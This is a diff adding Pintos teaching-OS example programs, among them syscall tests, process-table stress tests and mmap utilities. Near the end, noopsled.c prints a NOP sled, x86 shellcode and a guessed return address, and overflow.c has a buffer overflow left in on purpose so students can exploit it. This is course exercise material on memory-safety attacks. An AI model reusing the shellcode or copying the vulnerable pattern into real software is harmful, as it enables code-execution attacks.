+ daGLoc[9] = body_partsLoc;
+ daGrammar[10] = noun;
+ daGLoc[10] = nounLoc;
+ daGrammar[11] = animal;
+ daGLoc[11] = animalLoc;
+ daGrammar[12] = good_verb;
+ daGLoc[12] = good_verbLoc;
+ daGrammar[13] = curse;
+ daGLoc[13] = curseLoc;
+ daGrammar[14] = afflictors;
+ daGLoc[14] = afflictorsLoc;
+ daGrammar[15] = quantity;
+ daGLoc[15] = quantityLoc;
+ daGrammar[16] = numbers;
+ daGLoc[16] = numbersLoc;
+ daGrammar[17] = adv;
+ daGLoc[17] = advLoc;
+ daGrammar[18] = metaphor;
+ daGLoc[18] = metaphorLoc;
+ daGrammar[19] = force;
+ daGLoc[19] = forceLoc;
+ daGrammar[20] = bad_action;
+ daGLoc[20] = bad_actionLoc;
+ daGrammar[21] = beasties;
+ daGLoc[21] = beastiesLoc;
+ daGrammar[22] = condition;
+ daGLoc[22] = conditionLoc;
+ daGrammar[23] = place;
+ daGLoc[23] = placeLoc;
+ daGrammar[24] = relation;
+ daGLoc[24] = relationLoc;
+ daGrammar[25] = in_something;
+ daGLoc[25] = in_somethingLoc;
+ daGrammar[26] = bad_place;
+ daGLoc[26] = bad_placeLoc;
+}
+
+#include <ctype.h>
+#include <debug.h>
+#include <random.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <syscall.h>
+
+void expand (int num, char **grammar[], char *location[], int handle);
+
+static void
+usage (int ret_code, const char *message, ...) PRINTF_FORMAT (2, 3);
+
+static void
+usage (int ret_code, const char *message, ...)
+{
+ va_list args;
+
+ if (message != NULL)
+ {
+ va_start (args, message);
+ vprintf (message, args);
+ va_end (args);
+ }
+
+ printf ("\n"
+ "Usage: insult [OPTION]...\n"
+ "Prints random insults to screen.\n\n"
+ " -h: this help message\n"
+ " -s <integer>: set the random seed (default 4951)\n"
+ " -n <integer>: choose number of insults (default 4)\n"
+ " -f <file>: redirect output to <file>\n");
+
+ exit (ret_code);
+}
+
+int
+main (int argc, char *argv[])
+{
+ int sentence_cnt, new_seed, i, file_flag, sent_flag, seed_flag;
+ int handle;
+
+ new_seed = 4951;
+ sentence_cnt = 4;
+ file_flag = 0;
+ seed_flag = 0;
+ sent_flag = 0;
+ handle = STDOUT_FILENO;
+
+ for (i = 1; i < argc; i++)
+ {
+ if (strcmp (argv[1], "-h") == 0)
+ usage (0, NULL);
+ else if (strcmp (argv[i], "-s") == 0)
+ {
+ if (seed_flag++)
+ usage (-1, "Can't have more than one seed");
+ if (++i >= argc)
+ usage (-1, "Missing value for -s");
+ new_seed = atoi (argv[i]);
+ }
+ else if (strcmp (argv[i], "-n") == 0)
+ {
+ if (sent_flag++)
+ usage (-1, "Can't have more than one sentence option");
+ if (++i >= argc)
+ usage (-1, "Missing value for -n");
+ sentence_cnt = atoi (argv[i]);
+ if (sentence_cnt < 1)
+ usage (-1, "Must have at least one sentence");
+ }
+ else if (strcmp (argv[i], "-f") == 0)
+ {
+ if (file_flag++)
+ usage (-1, "Can't have more than one output file");
+ if (++i >= argc)
+ usage (-1, "Missing value for -f");
+
+ /* Because files have fixed length in the basic Pintos file
+ system, the 0 argument means that this option will not be
+ useful until extensible files is implemented */
+ create (argv[i], 0);
+ handle = open (argv[i]);
+ if (handle < 0)
+ {
+ printf ("%s: open failed\n", argv[i]);
+ return EXIT_FAILURE;
+ }
+ }
+ else
+ usage (-1, "Unrecognized flag");
+ }
+
+ init_grammar ();
+
+ random_init (new_seed);
+ hprintf (handle, "\n");
+
+ for (i = 0; i < sentence_cnt; i++)
+ {
+ hprintf (handle, "\n");
+ expand (0, daGrammar, daGLoc, handle);
+ hprintf (handle, "\n\n");
+ }
+
+ if (file_flag)
+ close (handle);
+
+ return EXIT_SUCCESS;
+}
+
+void
+expand (int num, char **grammar[], char *location[], int handle)
+{
+ char *word;
+ int i, which, listStart, listEnd;
+
+ which = random_ulong () % location[num][0] + 1;
+ listStart = location[num][which];
+ listEnd = location[num][which + 1];
+ for (i = listStart; i < listEnd; i++)
+ {
+ word = grammar[num][i];
+ if (!isdigit (*word))
+ {
+ if (!ispunct (*word))
+ hprintf (handle, " ");
+ hprintf (handle, "%s", word);
+ }
+ else
+ expand (atoi (word), grammar, location, handle);
+ }
+
+}
diff --git a/src/examples/lab2test.c.old b/src/examples/lab2test.c.old
new file mode 100644
index 0000000..ea4fc83
--- /dev/null
+++ b/src/examples/lab2test.c.old
@@ -0,0 +1,183 @@
+#include <stdio.h>
+//#include <string.h>
+//#include <syscall-nr.h>
+
+#include <syscall.h>
+#include <stdarg.h>
+
+int mystrlen(char *str);
+
+void mysprintf(char *sbuf, char *str, ...);
+
+int main(void)
+{
+ char *descr = "This is test program v0.1 that tests your implementation of lab 2 in TDDB68/72\n";
+ char *test1 = "The first test is to create three files.\n";
+ char *test2 = "Now lets write some data to the files. Write some binary data to some files.\n";
+ char *test3 = "Test string that is written to a file.\n";
+ char *test4 = "Test to read back data from files.\n";
+ char *test5 = "Test to read from and write to arbitrary file handles.\n";
+ char *test6 = "Get data from console. Please, write something (10 characters).\n";
+ char *test7 = "Test to open a file that does not exist.\n";
+ //char binarydata[] = {1,2,3,4,5,0,1,2,3,4};
+ char binarydata[10];
+ char sbuf[50];
+ int file[3];
+ int readNum, i;
+
+ // verkar vara något fel med fördefinerade variablar.. tex char buf[10] = {0} ger oxå samma fel
+ binarydata[0] = 1;
+ binarydata[1] = 2;
+ binarydata[2] = 3;
+ binarydata[3] = 4;
+ binarydata[4] = 5;
+ binarydata[5] = 0;
+ binarydata[6] = 1;
+ binarydata[7] = 2;
+ binarydata[8] = 3;
+ binarydata[9] = 4;
+
+ write(STDOUT_FILENO, descr, mystrlen(descr));
+ write(STDOUT_FILENO, test1, mystrlen(test1));
+ if (!create("test0", mystrlen(test3))) {
+ mysprintf(sbuf, "Could not create test0\n");
+ write(STDOUT_FILENO, sbuf, mystrlen(sbuf));
+ halt();
+ }
+ if (!create("test1", 1024)){
+ mysprintf(sbuf, "Could not create test1\n");
+ write(STDOUT_FILENO, sbuf, mystrlen(sbuf));
+ halt();
+ }
+ if (!create("test2", 1024)){
+ mysprintf(sbuf, "Could not create test1\n");
+ write(STDOUT_FILENO, sbuf, mystrlen(sbuf));
+ halt();
+ }
+
+ for(i = 0; i < 2; i++){
+ mysprintf(sbuf, "test%d", i);
+ file[i] = open(sbuf);
+ if(file[i] > 1){
+ mysprintf(sbuf, "Could open test%d\n", i);
+ write(STDOUT_FILENO, sbuf, mystrlen(sbuf));
+ }
+ else{
+ mysprintf(sbuf, "Could not open test%d\n", i);
+ write(STDOUT_FILENO, sbuf, mystrlen(sbuf));
+ halt();
+ }
+ }
+
+ write(STDOUT_FILENO, test6, mystrlen(test6));
+ readNum = read(STDIN_FILENO, sbuf, 10);
+ if(readNum != 10){
+ mysprintf(sbuf, "Did not read 10 characters from the console.\n");
+ write(STDOUT_FILENO, sbuf, mystrlen(sbuf));
+ halt();
+ }
+
+ write(STDOUT_FILENO, test2, mystrlen(test2));
+ write(file[0], test3, mystrlen(test3));
+ write(file[1], binarydata, 10);
+
+ write(STDOUT_FILENO, test4, mystrlen(test4));
+ close(file[0]);
+ file[0] = open("test0");
+ readNum = read(file[0], sbuf, 40); // lite konstigt test..
+ if(readNum != mystrlen(test3)){ // test4?, bara tur att sbuf[39+] = 0
+ mysprintf(sbuf, "Could not read back from test0 (%d), %d characters read instead!\n", mystrlen(test3), readNum);
+ write(STDOUT_FILENO, sbuf, mystrlen(sbuf));
+ halt();
+ }
+ close(file[1]);
+ file[1] = open("test1");
+ readNum = read(file[1], sbuf, 10);
+ if(readNum != 10){
+ mysprintf(sbuf, "Could not read back binary data from test1\n");
+ write(STDOUT_FILENO, sbuf, mystrlen(sbuf));
+ halt();
+ }
+
+ write(STDOUT_FILENO, test5, mystrlen(test5));
+ write(87, "hej", 3);
+ readNum = read(1006, sbuf, 3);
+ if(readNum != -1){
+ mysprintf(sbuf, "Your should catch that I tried to read from file 1006\n");
+ write(STDOUT_FILENO, sbuf, mystrlen(sbuf));
+ }
+ else{
+ mysprintf(sbuf, "Good, you noted that I tried to read, wrongly, from the file 1006\n");
+ write(STDOUT_FILENO, sbuf, mystrlen(sbuf));
+ }
+
+ write(STDOUT_FILENO, test7, mystrlen(test7));
+ file[2] = open("fdsfa");
+ if(file[2] > 1){
+ mysprintf(sbuf, "We got a valid file handle!\n");
+ write(STDOUT_FILENO, sbuf, mystrlen(sbuf));
+ halt();
+ } else {
+ mysprintf(sbuf, "PASSED!\n");
+ write(STDOUT_FILENO, sbuf, mystrlen(sbuf));
+ }
+ halt();
+}
+
+int mystrlen(char *str)
+{
+ int len = 0;
+ while(*str != '\0'){
+ len++;
+ str++;
+ }
+ return len;
+}
+
+void mysprintf(char *sbuf, char *str, ...)
+{
+ int j;
+ char buffer[15];
+ int ival;
+ va_list ap;
+ va_start(ap, str);
+
+
+ for(; *str != '\0';){
+ if(*str == '%'){
+ str++;
+ switch(*str){
+ case 'd':
+ ival = va_arg(ap, int);
+ if(ival == 0){
+ *sbuf = '0';
+ sbuf++;
+ }
+ else{
+ for(j = 14; ival > 0; j--){
+ buffer[j] = ival % 10 + '0';
+ ival /= 10;
+ }
+ j++;
+ for(;j < 15;){
+ *sbuf = buffer[j];
+ sbuf++;
+ j++;
+ }
+ }
+ str++;
+ break;
+ case 's':
+ break;
+ default:
+ break;
+ }
+ }
+ else{
+ *sbuf = *str;
+ sbuf++;
+ str++;
+ }
+ }
+ *sbuf = '\0';
+}
diff --git a/src/examples/lab2test.d b/src/examples/lab2test.d
new file mode 100644
index 0000000..f930cf3
--- /dev/null
+++ b/src/examples/lab2test.d
@@ -0,0 +1,3 @@
+lab2test.o: lab2test.c ../lib/stdio.h ../lib/debug.h ../lib/stdarg.h \
+ ../lib/stdbool.h ../lib/stddef.h ../lib/stdint.h ../lib/user/stdio.h \
+ ../lib/user/syscall.h
diff --git a/src/examples/lab2test.o b/src/examples/lab2test.o
new file mode 100644
index 0000000..7fa4c56
--- /dev/null
+++ b/src/examples/lab2test.o
Binary files differ
diff --git a/src/examples/lib/.cvsignore b/src/examples/lib/.cvsignore
new file mode 100644
index 0000000..a438335
--- /dev/null
+++ b/src/examples/lib/.cvsignore
@@ -0,0 +1 @@
+*.d
diff --git a/src/examples/lib/user/.cvsignore b/src/examples/lib/user/.cvsignore
new file mode 100644
index 0000000..a438335
--- /dev/null
+++ b/src/examples/lib/user/.cvsignore
@@ -0,0 +1 @@
+*.d
diff --git a/src/examples/lib/user/.dummy b/src/examples/lib/user/.dummy
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/src/examples/lib/user/.dummy
diff --git a/src/examples/line_echo.c b/src/examples/line_echo.c
new file mode 100644
index 0000000..5aa5ee9
--- /dev/null
+++ b/src/examples/line_echo.c
@@ -0,0 +1,60 @@
+/* klaar@ida
+
+ pintos --fs-disk=2 -v -k -p ../examples/line_echo -a line_echo -- -f -q run line_echo
+
+ This program will echo every input line to output.
+ */
+
+#include <stdio.h>
+#include <syscall.h>
+
+int mystrlen(char *start);
+int getline(char *buf, int size);
+
+int main(void)
+{
+ char buf[10];
+ int length;
+ char endl = '\n';
+
+ for ( ; ; )
+ {
+ length = getline(buf, 10);
+
+ if (length != mystrlen(buf))
+ exit(111);
+
+ if (length < 1)
+ break;
+
+ write(STDOUT_FILENO, buf, length);
+ write(STDOUT_FILENO, &endl, 1);
+ }
+
+ return 0;
+}
+
+int getline(char *buf, int size)
+{
+ int i;
+
+ for (i = 0; i < size-1; ++i)
+ {
+ if (read(STDIN_FILENO, &buf[i], 1) != 1)
+ break;
+ if (buf[i] == '\n')
+ break;
+ }
+ buf[i] = '\0';
+ return i;
+}
+
+int mystrlen(char *start)
+{
+ char* end = start;
+
+ while(*end != '\0')
+ ++end;
+
+ return (end - start);
+}
diff --git a/src/examples/lineup.c b/src/examples/lineup.c
new file mode 100644
index 0000000..60402d0
--- /dev/null
+++ b/src/examples/lineup.c
@@ -0,0 +1,46 @@
+/* lineup.c
+
+ Converts a file to uppercase in-place.
+
+ Incidentally, another way to do this while avoiding the seeks
+ would be to open the input file, then remove() it and reopen
+ it under another handle. Because of Unix deletion semantics
+ this works fine. */
+
+#include <ctype.h>
+#include <stdio.h>
+#include <syscall.h>
+
+int
+main (int argc, char *argv[])
+{
+ char buf[1024];
+ int handle;
+
+ if (argc != 2)
+ exit (1);
+
+ handle = open (argv[1]);
+ if (handle < 0)
+ exit (2);
+
+ for (;;)
+ {
+ int n, i;
+
+ n = read (handle, buf, sizeof buf);
+ if (n <= 0)
+ break;
+
+ for (i = 0; i < n; i++)
+ buf[i] = toupper ((unsigned char) buf[i]);
+
+ seek (handle, tell (handle) - n);
+ if (write (handle, buf, n) != n)
+ printf ("write failed\n");
+ }
+
+ close (handle);
+
+ return EXIT_SUCCESS;
+}
diff --git a/src/examples/longrun.c b/src/examples/longrun.c
new file mode 100644
index 0000000..19ec9ef
--- /dev/null
+++ b/src/examples/longrun.c
@@ -0,0 +1,90 @@
+/* klaar@ida
+
+ pintos -v -k --fs-disk=2 --qemu -p ../examples/longrun -a longrun -p ../examples/dummy -a dummy -- -f -q run 'longrun 10 50'
+
+ Start a lot of processes and let them finish to test if we
+ eventually run out of process slots.
+
+ To run the test effectively, if you have a limit on number of
+ processes, lower the limit to 5 processes and run this test like
+
+ 'longrun 5 400'
+
+ It will fill (and if it works empty) your process table 400 times :-)
+
+ Note that some pintos tests requires at least 16 simultaneous
+ processes to work, so be sure to increase the limit before running
+ pintos tests.
+ */
+
+#include <syscall.h>
+#include <stdlib.h>
+#include <stdio.h>
+
+#define MAX_SIMULTANEOUS 50
+#define MAX_REPEAT 1000
+
+int main(int argc, char* argv[])
+{
+ char cmd[15];
+ int pid[MAX_SIMULTANEOUS];
+ unsigned i = 0;
+ unsigned j = 0;
+ unsigned simul = 0;
+ unsigned repeat = 0;
+
+ if (argc != 3)
+ {
+ printf("Usage: %s simultaneous repeat\n"
+ "Where 'simultaneous' is the number of simultaneous processes to \n"
+ "start and wait for, and 'repeat' how many times this should be \n"
+ "repeated.\n", argv[0]
+ );
+ return -1;
+ }
+
+ simul = atoi(argv[1]);
+ repeat = atoi(argv[2]);
+
+ if (simul > MAX_SIMULTANEOUS)
+ {
+ printf("This test program is compiled with a limitation to max %d \n"
+ "simultaneos processes.\n", MAX_SIMULTANEOUS);
+ return -1;
+ }
+
+ if (repeat > MAX_REPEAT)
+ {
+ printf("This test program is compiled with a limitation to max %d \n"
+ "repetitions.\n", MAX_REPEAT);
+ return -1;
+ }
+
+ printf("Will try to start a total of %d processes in groups of %d\n",
+ simul * repeat, simul);
+
+ for (j = 0; j < repeat; ++j)
+ {
+ for (i = 0; i < simul; ++i)
+ {
+ snprintf(cmd, 15, "dummy %i", j * simul + i);
+ pid[i] = exec(cmd);
+ }
+
+ /* There will never be more than 'simul' processes running
+ * simultaneously, but in total there will be a lot of processes
+ * (repeat * simul). Just as you can expect in a real system.
+ */
+ for (i = 0; i < simul; ++i)
+ {
+ /* probably nothing left to wait for */
+ if (pid[i] == -1)
+ {
+ printf("ERROR: Aborting test. Some execution(s) failed\n");
+ return j+1;
+ }
+ wait(pid[i]);
+ }
+ }
+ return 0;
+}
diff --git a/src/examples/longrun_interactive.c b/src/examples/longrun_interactive.c
new file mode 100644
index 0000000..0e871bf
--- /dev/null
+++ b/src/examples/longrun_interactive.c
@@ -0,0 +1,77 @@
+/* klaar@ida
+
+ pintos -v -k --fs-disk=2 --qemu -p ../examples/longrun_interactive -a interactive -p ../examples/generic_parent -a generic_parent -p ../examples/busy -a dummy -- -f -q run 'interactive 10 50'
+
+ NOTE: pintos have a limit on file-name length!
+
+ Start a lot of processes and let them finish to test if we
+ eventually run out of process slots.
+ To run the test effectively, if you have a limit on number of
+ processes, lower the limit to 5 processes and run this test like
+
+ 'longrun 5 400'
+
+ It will fill (and if it works empty) your process table 400 times
+ :-)
+
+ Note that some pintos tests requires at least 16 simultaneous
+ processes to work, so be sure to increase the limit before running
+ pintos tests.
+ */
+
+#include <syscall.h>
+#include <stdlib.h>
+#include <stdio.h>
+
+#define MAX_SIMULTANEOUS 50
+#define MAX_REPEAT 1000
+#define BUF_SIZE 64
+
+int main(int argc, char* argv[])
+{
+ char cmd[BUF_SIZE];
+ unsigned j = 0;
+ unsigned simul = 0;
+ unsigned repeat = 0;
+
+ if (argc != 3)
+ {
+ printf("Usage: %s simultaneous repeat\n"
+ "Where 'simultaneous' is the number of simultaneous processes to \n"
+ "start and wait for, and 'repeat' how many times this should be \n"
+ "repeated.\n", argv[0]
+ );
+ return -1;
+ }
+
+ simul = atoi(argv[1]);
+ repeat = atoi(argv[2]);
+
+ if (simul > MAX_SIMULTANEOUS)
+ {
+ printf("This test program is compiled with a limitation to max %d \n"
+ "simultaneos processes.\n", MAX_SIMULTANEOUS);
+ return -1;
+ }
+
+ if (repeat > MAX_REPEAT)
+ {
+ printf("This test program is compiled with a limitation to max %d \n"
+ "repetitions.\n", MAX_REPEAT);
+ return -1;
+ }
+
+ printf("Will try to start a total of %d processes in groups of %d\n",
+ simul * repeat, simul);
+
+ for (j = 0; j < repeat; ++j)
+ {
+ char buf;
+ snprintf(cmd, BUF_SIZE, "generic_parent %s %i %i", "dummy", j*simul, simul);
+ wait(exec(cmd));
+
+ printf("Press ENTER to continue...\n");
+ read(STDIN_FILENO, &buf, 1);
+ }
+ return 0;
+}
diff --git a/src/examples/longrun_nowait.c b/src/examples/longrun_nowait.c
new file mode 100644
index 0000000..4c78b2e
--- /dev/null
+++ b/src/examples/longrun_nowait.c
@@ -0,0 +1,89 @@
+/* klaar@ida
+
+ pintos -v -k --fs-disk=2 --qemu -p ../examples/longrun_nowait -a nowait -p ../examples/generic_parent -a generic_parent -p ../examples/busy -a dummy -- -f -q run 'nowait 10 50'
+
+ Start a lot of processes and let them finish to test if we
+ eventually run out of process slots.
+
+ 'longrun_nowait 10 50'
+
+ Will call generic_parent to start 10 children 50 times (500
+ processes). One slot will be used by longrun_nowait itself. 50
+ slots will be used by generic_parent (they must be kept so long as
+ longrun_nowait still execute, since it may want to wait for any of
+ them). All other slots needed should also be freed as soon as both
+ generic_parent and it's set of children exits.
+
+ To run the test effectively, if you have a limit on number of
+ processes, lower that limit to 61 processes and run this test like
+
+ 'longrun_nowait 10 50'
+
+ Note that some pintos tests requires at least 16 simultaneous
+ processes to work, so be sure to increase the limit before running
+ pintos tests.
+ */
+
+#include <syscall.h>
+#include <stdlib.h>
+#include <stdio.h>
+
+#define MAX_SIMULTANEOUS 50
+#define MAX_REPEAT 1000
+#define BUF_SIZE 64
+
+int main(int argc, char* argv[])
+{
+ char cmd[BUF_SIZE];
+ unsigned j = 0;
+ unsigned simul = 0;
+ unsigned repeat = 0;
+
+ if (argc != 3)
+ {
+ printf("Usage: %s simultaneous repeat\n"
+ "Where 'simultaneous' is the number of simultaneous processes to \n"
+ "start before busywaiting a short while, and 'repeat' how many \n"
+ "times this should be repeated.\n", argv[0]
+ );
+ return -1;
+ }
+
+ simul = atoi(argv[1]);
+ repeat = atoi(argv[2]);
+
+ if (simul > MAX_SIMULTANEOUS)
+ {
+ printf("This test program is compiled with a limitation to max %d \n"
+ "simultaneos processes.\n", MAX_SIMULTANEOUS);
+ return -1;
+ }
+
+ if (repeat > MAX_REPEAT)
+ {
+ printf("This test program is compiled with a limitation to max %d \n"
+ "repetitions.\n", MAX_REPEAT);
+ return -1;
+ }
+
+ printf("Will try to start a total of %d processes in groups of %d\n",
+ simul * repeat, simul);
+
+ for (j = 0; j < repeat; ++j)
+ {
+ /* you may have to increase the multiple to more than 5 */
+ int ticks = 10 * 1000 * 1000 * j / repeat;
+
+ snprintf(cmd, BUF_SIZE, "generic_parent %s %i %i", "dummy", j*simul, simul);
+
+ exec(cmd);
+
+// plist();
+
+ /* since we do not have the wait systemcall yet */
+ printf("Now entering busy-loop to let some processes finish\n");
+ while (ticks--)
+ ;
+ }
+ return 0;
+}
diff --git a/src/examples/ls.c b/src/examples/ls.c
new file mode 100644
index 0000000..6cebddc
--- /dev/null
+++ b/src/examples/ls.c
@@ -0,0 +1,91 @@
+/* ls.c
+
+ Lists the contents of the directory or directories named on
+ the command line, or of the current directory if none are
+ named.
+
+ By default, only the name of each file is printed. If "-l" is
+ given as the first argument, the type, size, and inumber of each
+ file is also printed. This won't work until the stub filesystem
+ is replaced with a real filsystem. */
+
+#include <syscall.h>
+#include <stdio.h>
+#include <string.h>
+
+static bool
+list_dir (const char *dir, bool verbose)
+{
+ int dir_fd = open (dir);
+ if (dir_fd == -1)
+ {
+ printf ("%s: not found\n", dir);
+ return false;
+ }
+
+ if (isdir (dir_fd))
+ {
+ char name[READDIR_MAX_LEN];
+
+ printf ("%s", dir);
+ if (verbose)
+ printf (" (inumber %d)", inumber (dir_fd));
+ printf (":\n");
+
+ while (readdir (dir_fd, name))
+ {
+ printf ("%s", name);
+ if (verbose)
+ {
+ char full_name[128];
+ int entry_fd;
+
+ snprintf (full_name, sizeof full_name, "%s/%s", dir, name);
+ entry_fd = open (full_name);
+
+ printf (": ");
+ if (entry_fd != -1)
+ {
+ if (isdir (entry_fd))
+ printf ("directory");
+ else
+ printf ("%d-byte file", filesize (entry_fd));
+ printf (", inumber %d", inumber (entry_fd));
+ }
+ else
+ printf ("open failed");
+ close (entry_fd);
+ }
+ printf ("\n");
+ }
+ }
+ else
+ printf ("%s: not a directory\n", dir);
+ close (dir_fd);
+ return true;
+}
+
+int
+main (int argc, char *argv[])
+{
+ bool success = true;
+ bool verbose = false;
+
+ if (argc > 1 && !strcmp (argv[1], "-l"))
+ {
+ verbose = true;
+ argv++;
+ argc--;
+ }
+
+ if (argc <= 1)
+ success = list_dir (".", verbose);
+ else
+ {
+ int i;
+ for (i = 1; i < argc; i++)
+ if (!list_dir (argv[i], verbose))
+ success = false;
+ }
+ return success ? EXIT_SUCCESS : EXIT_FAILURE;
+}
diff --git a/src/examples/matmult.c b/src/examples/matmult.c
new file mode 100644
index 0000000..4f0615f
--- /dev/null
+++ b/src/examples/matmult.c
@@ -0,0 +1,57 @@
+/* matmult.c
+
+ Test program to do matrix multiplication on large arrays.
+
+ Intended to stress virtual memory system.
+
+ Ideally, we could read the matrices off of the file system,
+ and store the result back to the file system!
+ */
+
+#include <stdio.h>
+#include <syscall.h>
+
+/* You should define DIM to be large enough that the arrays
+ don't fit in physical memory.
+
+ Dim Memory
+ ------ --------
+ 16 3 kB
+ 64 48 kB
+ 128 192 kB
+ 256 768 kB
+ 512 3,072 kB
+ 1,024 12,288 kB
+ 2,048 49,152 kB
+ 4,096 196,608 kB
+ 8,192 786,432 kB
+ 16,384 3,145,728 kB */
+#define DIM 128
+
+int A[DIM][DIM];
+int B[DIM][DIM];
+int C[DIM][DIM];
+
+int
+main (void)
+{
+ int i, j, k;
+
+ /* Initialize the matrices. */
+ for (i = 0; i < DIM; i++)
+ for (j = 0; j < DIM; j++)
+ {
+ A[i][j] = i;
+ B[i][j] = j;
+ C[i][j] = 0;
+ }
+
+ /* Multiply matrices. */
+ for (i = 0; i < DIM; i++)
+ for (j = 0; j < DIM; j++)
+ for (k = 0; k < DIM; k++)
+ C[i][j] += A[i][k] * B[k][j];
+
+ /* Done. */
+ exit (C[DIM - 1][DIM - 1]);
+}
diff --git a/src/examples/mcat.c b/src/examples/mcat.c
new file mode 100644
index 0000000..7b39760
--- /dev/null
+++ b/src/examples/mcat.c
@@ -0,0 +1,45 @@
+/* mcat.c
+
+ Prints files specified on command line to the console, using
+ mmap. */
+
+#include <stdio.h>
+#include <syscall.h>
+
+int
+main (int argc, char *argv[])
+{
+ int i;
+
+ for (i = 1; i < argc; i++)
+ {
+ int fd;
+ mapid_t map;
+ void *data = (void *) 0x10000000;
+ int size;
+
+ /* Open input file. */
+ fd = open (argv[i]);
+ if (fd < 0)
+ {
+ printf ("%s: open failed\n", argv[i]);
+ return EXIT_FAILURE;
+ }
+ size = filesize (fd);
+
+ /* Map files. */
+ map = mmap (fd, data);
+ if (map == MAP_FAILED)
+ {
+ printf ("%s: mmap failed\n", argv[i]);
+ return EXIT_FAILURE;
+ }
+
+ /* Write file to console. */
+ write (STDOUT_FILENO, data, size);
+
+ /* Unmap files (optional). */
+ munmap (map);
+ }
+ return EXIT_SUCCESS;
+}
diff --git a/src/examples/mcp.c b/src/examples/mcp.c
new file mode 100644
index 0000000..6091dc8
--- /dev/null
+++ b/src/examples/mcp.c
@@ -0,0 +1,68 @@
+/* mcp.c
+
+ Copies one file to another, using mmap. */
+
+#include <stdio.h>
+#include <string.h>
+#include <syscall.h>
+
+int
+main (int argc, char *argv[])
+{
+ int in_fd, out_fd;
+ mapid_t in_map, out_map;
+ void *in_data = (void *) 0x10000000;
+ void *out_data = (void *) 0x20000000;
+ int size;
+
+ if (argc != 3)
+ {
+ printf ("usage: cp OLD NEW\n");
+ return EXIT_FAILURE;
+ }
+
+ /* Open input file. */
+ in_fd = open (argv[1]);
+ if (in_fd < 0)
+ {
+ printf ("%s: open failed\n", argv[1]);
+ return EXIT_FAILURE;
+ }
+ size = filesize (in_fd);
+
+ /* Create and open output file. */
+ if (!create (argv[2], size))
+ {
+ printf ("%s: create failed\n", argv[2]);
+ return EXIT_FAILURE;
+ }
+ out_fd = open (argv[2]);
+ if (out_fd < 0)
+ {
+ printf ("%s: open failed\n", argv[2]);
+ return EXIT_FAILURE;
+ }
+
+ /* Map files. */
+ in_map = mmap (in_fd, in_data);
+ if (in_map == MAP_FAILED)
+ {
+ printf ("%s: mmap failed\n", argv[1]);
+ return EXIT_FAILURE;
+ }
+ out_map = mmap (out_fd, out_data);
+ if (out_map == MAP_FAILED)
+ {
+ printf ("%s: mmap failed\n", argv[2]);
+ return EXIT_FAILURE;
+ }
+
+ /* Copy files. */
+ memcpy (out_data, in_data, size);
+
+ /* Unmap files (optional). */
+ munmap (in_map);
+ munmap (out_map);
+
+ return EXIT_SUCCESS;
+}
diff --git a/src/examples/mkdir.c b/src/examples/mkdir.c
new file mode 100644
index 0000000..7ddbc3f
--- /dev/null
+++ b/src/examples/mkdir.c
@@ -0,0 +1,24 @@
+/* mkdir.c
+
+ Creates a directory. */
+
+#include <stdio.h>
+#include <syscall.h>
+
+int
+main (int argc, char *argv[])
+{
+ if (argc != 2)
+ {
+ printf ("usage: %s DIRECTORY\n", argv[0]);
+ return EXIT_FAILURE;
+ }
+
+ if (!mkdir (argv[1]))
+ {
+ printf ("%s: mkdir failed\n", argv[1]);
+ return EXIT_FAILURE;
+ }
+
+ return EXIT_SUCCESS;
+}
diff --git a/src/examples/noopsled.c b/src/examples/noopsled.c
new file mode 100644
index 0000000..d091d5d
--- /dev/null
+++ b/src/examples/noopsled.c
@@ -0,0 +1,44 @@
+/* klaar@ida
+
+ Program to generate a noop sled with accompanying shellcode and a
+ good guess as of where all of this data ends up when a buffer
+ overflow is exploited in pintos.
+
+ This program runs outside pintos. Pipe the output to a pintos
+ program with faulty buffer handling to exploit a buffer overflow.
+
+ gcc noopsled.c -o noopsled
+ */
+
+#include <stdio.h>
+
+char shellcode[] =
+ "\x90\x90\x90\x90\x90\xe9\x0b\x00"
+ "\x00\x00\x6a\x02\xcd\x30\x31\xc0"
+ "\x50\x40\x50\xcd\x30\xe8\xf0\xff"
+ "\xff\xff""crack";
+
+char x86_nop = '\x90';
+
+unsigned guess = 0xc0000000 - 2000 - 300;
+
+int main() //int argc, char* argv[])
+{
+ int i;
+
+ for (i = 0; i < 128; ++i)
+ printf("%c", x86_nop);
+
+ for (i = 0; i < 32; ++i)
+ printf("%c", shellcode[i]);
+
+ for (i = 0; i < (128-32)/4; ++i)
+ {
+ char* g = (char*)&guess;
+ printf("%c", g[3]);
+ printf("%c", g[2]);
+ printf("%c", g[1]);
+ printf("%c", g[0]);
+ }
+ printf("\n\n");
+}
diff --git a/src/examples/overflow.c b/src/examples/overflow.c
new file mode 100644
index 0000000..4673d32
--- /dev/null
+++ b/src/examples/overflow.c
@@ -0,0 +1,88 @@
+/* klaar@ida
+
+ noopsled | pintos --fs-disk=2 -v -k -p ../examples/overflow -a overflow -p ../examples/crack -a crack -- -f -q run overflow
+
+ This program is possible to crack with carefully crafted input.
+ It examplifies the danger of buffer overflow.
+*/
+
+#include <syscall.h>
+#include <stdio.h>
+#include <string.h>
+
+static void stringcopy(char* dst, const char* src)
+{
+ while (*src)
+ *dst++ = *src++;
+ *dst = '\0';
+}
+
+int main(void);
+
+/* A messy not very good buffer overflow example. A little bit too
+ * contrieved. */
+static int getline (char* destination)
+{
+ char line[200];
+ int i = 0;
+ char* dst = destination;
+
+//#define DEBUG_CODE
+#ifdef DEBUG_CODE
+ int r, c;
+ unsigned* ret = (unsigned*)(&dst - 1);
+
+ printf ("Return address address: 0x%08x\n", (unsigned)&ret);
+ printf ("Return address content: 0x%08x\n", *ret);
+ printf ("Main function address : 0x%08x\n", (unsigned)main);
+ printf ("Line buffer address : 0x%08x\n", (unsigned)line);
+#endif
+
+ do /* !!! Buffer overflow when i >= 200 !!! */
+ {
+ if ( read (STDIN_FILENO, &line[i], 1) != 1)
+ break; /* failed to read requested number of characters */
+ }
+ while ( line[i++] != '\n' );
+
+ line[i-1] = '\0';
+
+#ifdef DEBUG_CODE
+ /* hex dump of read data */
+ for (r = 0; r < 16; ++r)
+ {
+ printf ("0x%08x: ", (unsigned)&line[ 16*r ]);
+ for (c = 0; c < 16; ++c)
+ {
+ int code = line[ 16*r + c ] & 0xff;
+ printf("\\x%02x", code);
+ }
+ printf("\n");
+ }
+
+ printf ("Return address content: 0x%08x\n", *ret);
+#endif
+
+ stringcopy(dst, line);
+
+ return ( strlen(line) > 1 );
+}
+
+/* Stupid program to echo every line you write to screen. And to make
